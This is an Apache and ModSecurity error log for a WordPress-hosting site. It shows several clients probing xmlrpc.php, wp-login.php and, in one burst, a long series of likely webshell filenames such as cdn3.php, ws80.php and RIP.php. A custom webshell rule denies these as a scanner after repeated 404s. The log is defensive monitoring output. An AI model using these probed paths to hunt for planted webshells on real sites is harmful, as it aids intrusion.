[Fri Apr 10 22:43:26.596691 2026] [:error] [pid 62769:tid 62774] [client 78.164.206.213:50321] [client 78.164.206.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.164.206.213, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adkMjsWsSnfLoB8ifjCQRwAAAkM"]
[Fri Apr 10 22:43:26.609035 2026] [proxy_fcgi:error] [pid 62769:tid 62774] [client 78.164.206.213:50321] AH01071: Got error 'Primary script unknown'
[Fri Apr 10 23:24:23.659644 2026] [:error] [pid 13189:tid 13206] [client 20.240.45.10:38400] [client 20.240.45.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adkWJ5AxiJKPums3eBAHHgAAAE4"]
[Fri Apr 10 23:24:24.309731 2026] [:error] [pid 13101:tid 13150] [client 20.240.45.10:27198] [client 20.240.45.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adkWKN8Ldw85818pj2odFgAAAJE"]
[Fri Apr 10 23:24:24.970301 2026] [:error] [pid 62819:tid 62830] [client 20.240.45.10:11231] [client 20.240.45.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adkWKPU20EyPf7NlsleDeQAAAog"]
[Fri Apr 10 23:24:25.588137 2026] [:error] [pid 13189:tid 13193] [client 20.240.45.10:11202] [client 20.240.45.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adkWKZAxiJKPums3eBAHKwAAAEE"]
[Sat Apr 11 01:40:18.298193 2026] [:error] [pid 21570:tid 21697] [client 146.70.178.164:42490] [client 146.70.178.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.178.164, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adk2AjKs5t9xRSNL6cm9ywAAAFc"]
[Sat Apr 11 01:40:18.310055 2026] [proxy_fcgi:error] [pid 21570:tid 21697] [client 146.70.178.164:42490] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:43.997089 2026] [proxy_fcgi:error] [pid 2722:tid 2766] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:44.267362 2026] [proxy_fcgi:error] [pid 2722:tid 2776] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:44.528437 2026] [proxy_fcgi:error] [pid 2722:tid 2753] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:44.789141 2026] [proxy_fcgi:error] [pid 2722:tid 2770] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:45.695969 2026] [proxy_fcgi:error] [pid 2722:tid 2764] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:45.956273 2026] [proxy_fcgi:error] [pid 2722:tid 2772] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:46.256320 2026] [proxy_fcgi:error] [pid 2722:tid 2762] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:46.517010 2026] [proxy_fcgi:error] [pid 2722:tid 2754] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:46.782854 2026] [proxy_fcgi:error] [pid 2722:tid 2755] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:47.055362 2026] [proxy_fcgi:error] [pid 2722:tid 2769] [client 135.116.194.58:4910] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:58:47.314859 2026] [:error] [pid 2722:tid 2759] [client 135.116.194.58:4910] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlWd4_R23QDTmaQHyGAhQAAAEY"]
[Sat Apr 11 03:58:47.834189 2026] [:error] [pid 2812:tid 2829] [client 135.116.194.58:5115] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlWd9mkbBYp4LlMowsCKQAAAM4"]
[Sat Apr 11 03:58:48.415497 2026] [:error] [pid 2723:tid 2793] [client 135.116.194.58:4985] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlWeINy3DfGNAwLjcOxSQAAAI0"]
[Sat Apr 11 03:58:48.947176 2026] [:error] [pid 2723:tid 2800] [client 135.116.194.58:54347] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlWeINy3DfGNAwLjcOxTgAAAJQ"]
[Sat Apr 11 03:58:49.580640 2026] [:error] [pid 2723:tid 2799] [client 135.116.194.58:54453] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdn3.php"] [unique_id "adlWeYNy3DfGNAwLjcOxUQAAAJM"]
[Sat Apr 11 03:58:50.157632 2026] [:error] [pid 2812:tid 2838] [client 135.116.194.58:54442] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdn3.php"] [unique_id "adlWetmkbBYp4LlMowsCNgAAANc"]
[Sat Apr 11 03:58:50.756704 2026] [:error] [pid 2722:tid 2762] [client 135.116.194.58:4935] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdn3.php"] [unique_id "adlWeo_R23QDTmaQHyGAjgAAAEk"]
[Sat Apr 11 03:58:51.295806 2026] [:error] [pid 2812:tid 2815] [client 135.116.194.58:5094] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdn3.php"] [unique_id "adlWe9mkbBYp4LlMowsCQAAAAMA"]
[Sat Apr 11 03:58:51.881488 2026] [:error] [pid 2723:tid 2798] [client 135.116.194.58:4894] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlWe4Ny3DfGNAwLjcOxVwAAAJI"]
[Sat Apr 11 03:58:52.412135 2026] [:error] [pid 2721:tid 2728] [client 135.116.194.58:4835] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlWfDZWWL4OaRcuwkjHJAAAAAI"]
[Sat Apr 11 03:58:52.934475 2026] [:error] [pid 2721:tid 2749] [client 135.116.194.58:54340] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlWfDZWWL4OaRcuwkjHJwAAABc"]
[Sat Apr 11 03:58:53.461491 2026] [:error] [pid 2812:tid 2821] [client 135.116.194.58:54405] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlWfdmkbBYp4LlMowsCSgAAAMY"]
[Sat Apr 11 03:58:54.001924 2026] [:error] [pid 2722:tid 2766] [client 135.116.194.58:54351] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beerd.php"] [unique_id "adlWfo_R23QDTmaQHyGAnQAAAE0"]
[Sat Apr 11 03:58:54.584522 2026] [:error] [pid 2722:tid 2753] [client 135.116.194.58:54456] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beerd.php"] [unique_id "adlWfo_R23QDTmaQHyGAnwAAAEA"]
[Sat Apr 11 03:58:55.125790 2026] [:error] [pid 2723:tid 2798] [client 135.116.194.58:4886] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beerd.php"] [unique_id "adlWf4Ny3DfGNAwLjcOxYwAAAJI"]
[Sat Apr 11 03:58:55.739769 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:4913] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beerd.php"] [unique_id "adlWf9mkbBYp4LlMowsCTwAAAM0"]
[Sat Apr 11 03:58:56.273788 2026] [:error] [pid 2722:tid 2759] [client 135.116.194.58:54359] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hhxc.php"] [unique_id "adlWgI_R23QDTmaQHyGApgAAAEY"]
[Sat Apr 11 03:58:56.847298 2026] [:error] [pid 2722:tid 2765] [client 135.116.194.58:4982] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hhxc.php"] [unique_id "adlWgI_R23QDTmaQHyGAqwAAAEw"]
[Sat Apr 11 03:58:57.412466 2026] [:error] [pid 2722:tid 2776] [client 135.116.194.58:54364] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hhxc.php"] [unique_id "adlWgY_R23QDTmaQHyGArQAAAFc"]
[Sat Apr 11 03:58:57.973801 2026] [:error] [pid 2723:tid 2803] [client 135.116.194.58:54455] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hhxc.php"] [unique_id "adlWgYNy3DfGNAwLjcOxZwAAAJc"]
[Sat Apr 11 03:58:58.510405 2026] [:error] [pid 2721:tid 2747] [client 135.116.194.58:54404] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "adlWgjZWWL4OaRcuwkjHRwAAABU"]
[Sat Apr 11 03:58:59.058341 2026] [:error] [pid 2721:tid 2729] [client 135.116.194.58:4805] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "adlWgzZWWL4OaRcuwkjHSwAAAAM"]
[Sat Apr 11 03:58:59.606999 2026] [:error] [pid 2722:tid 2774] [client 135.116.194.58:54361] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "adlWg4_R23QDTmaQHyGAtgAAAFU"]
[Sat Apr 11 03:59:00.133294 2026] [:error] [pid 2812:tid 2829] [client 135.116.194.58:54443] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "adlWhNmkbBYp4LlMowsCWwAAAM4"]
[Sat Apr 11 03:59:00.652597 2026] [:error] [pid 2721:tid 2741] [client 135.116.194.58:5085] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "adlWhDZWWL4OaRcuwkjHUgAAAA8"]
[Sat Apr 11 03:59:01.181734 2026] [:error] [pid 2721:tid 2729] [client 135.116.194.58:4977] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "adlWhTZWWL4OaRcuwkjHVQAAAAM"]
[Sat Apr 11 03:59:01.703445 2026] [:error] [pid 2722:tid 2755] [client 135.116.194.58:4975] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "adlWhY_R23QDTmaQHyGAvgAAAEI"]
[Sat Apr 11 03:59:03.248732 2026] [:error] [pid 2723:tid 2785] [client 135.116.194.58:4867] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "adlWh4Ny3DfGNAwLjcOxgAAAAIU"]
[Sat Apr 11 03:59:03.854705 2026] [:error] [pid 2812:tid 2833] [client 135.116.194.58:54448] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlWh9mkbBYp4LlMowsCZgAAANI"]
[Sat Apr 11 03:59:04.496409 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:54457] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlWiNmkbBYp4LlMowsCbAAAANE"]
[Sat Apr 11 03:59:05.032835 2026] [:error] [pid 2723:tid 2793] [client 135.116.194.58:54462] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlWiYNy3DfGNAwLjcOxhwAAAI0"]
[Sat Apr 11 03:59:05.590932 2026] [:error] [pid 2812:tid 2829] [client 135.116.194.58:54417] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlWidmkbBYp4LlMowsCcAAAAM4"]
[Sat Apr 11 03:59:07.802930 2026] [:error] [pid 2812:tid 2816] [client 135.116.194.58:4827] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "adlWi9mkbBYp4LlMowsCgAAAAME"]
[Sat Apr 11 03:59:08.432763 2026] [:error] [pid 2723:tid 2783] [client 135.116.194.58:4841] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "adlWjINy3DfGNAwLjcOxmQAAAIM"]
[Sat Apr 11 03:59:08.958359 2026] [:error] [pid 2723:tid 2788] [client 135.116.194.58:54437] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "adlWjINy3DfGNAwLjcOxmwAAAIg"]
[Sat Apr 11 03:59:09.484057 2026] [:error] [pid 2723:tid 2796] [client 135.116.194.58:54459] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "adlWjYNy3DfGNAwLjcOxoAAAAJA"]
[Sat Apr 11 03:59:10.019163 2026] [:error] [pid 2723:tid 2794] [client 135.116.194.58:4802] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "adlWjoNy3DfGNAwLjcOxpwAAAI4"]
[Sat Apr 11 03:59:10.587358 2026] [:error] [pid 2812:tid 2819] [client 135.116.194.58:54432] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "adlWjtmkbBYp4LlMowsCiwAAAMQ"]
[Sat Apr 11 03:59:11.171746 2026] [:error] [pid 2721:tid 2728] [client 135.116.194.58:54343] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "adlWjzZWWL4OaRcuwkjHXQAAAAI"]
[Sat Apr 11 03:59:12.486523 2026] [:error] [pid 2722:tid 2760] [client 135.116.194.58:5005] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "adlWkI_R23QDTmaQHyGA3wAAAEc"]
[Sat Apr 11 03:59:13.078229 2026] [:error] [pid 2722:tid 2758] [client 135.116.194.58:54418] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blqjs.php"] [unique_id "adlWkY_R23QDTmaQHyGA4wAAAEU"]
[Sat Apr 11 03:59:13.761531 2026] [:error] [pid 2812:tid 2839] [client 135.116.194.58:4741] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blqjs.php"] [unique_id "adlWkdmkbBYp4LlMowsCpAAAANg"]
[Sat Apr 11 03:59:14.754427 2026] [:error] [pid 2723:tid 2782] [client 135.116.194.58:54425] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blqjs.php"] [unique_id "adlWkoNy3DfGNAwLjcOxsAAAAII"]
[Sat Apr 11 03:59:15.339677 2026] [:error] [pid 2723:tid 2795] [client 135.116.194.58:4737] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blqjs.php"] [unique_id "adlWk4Ny3DfGNAwLjcOxtwAAAI8"]
[Sat Apr 11 03:59:15.867034 2026] [:error] [pid 2722:tid 2760] [client 135.116.194.58:4816] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk25_1.php"] [unique_id "adlWk4_R23QDTmaQHyGA6wAAAEc"]
[Sat Apr 11 03:59:19.515860 2026] [:error] [pid 2723:tid 2795] [client 135.116.194.58:4790] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk25_1.php"] [unique_id "adlWl4Ny3DfGNAwLjcOxwgAAAI8"]
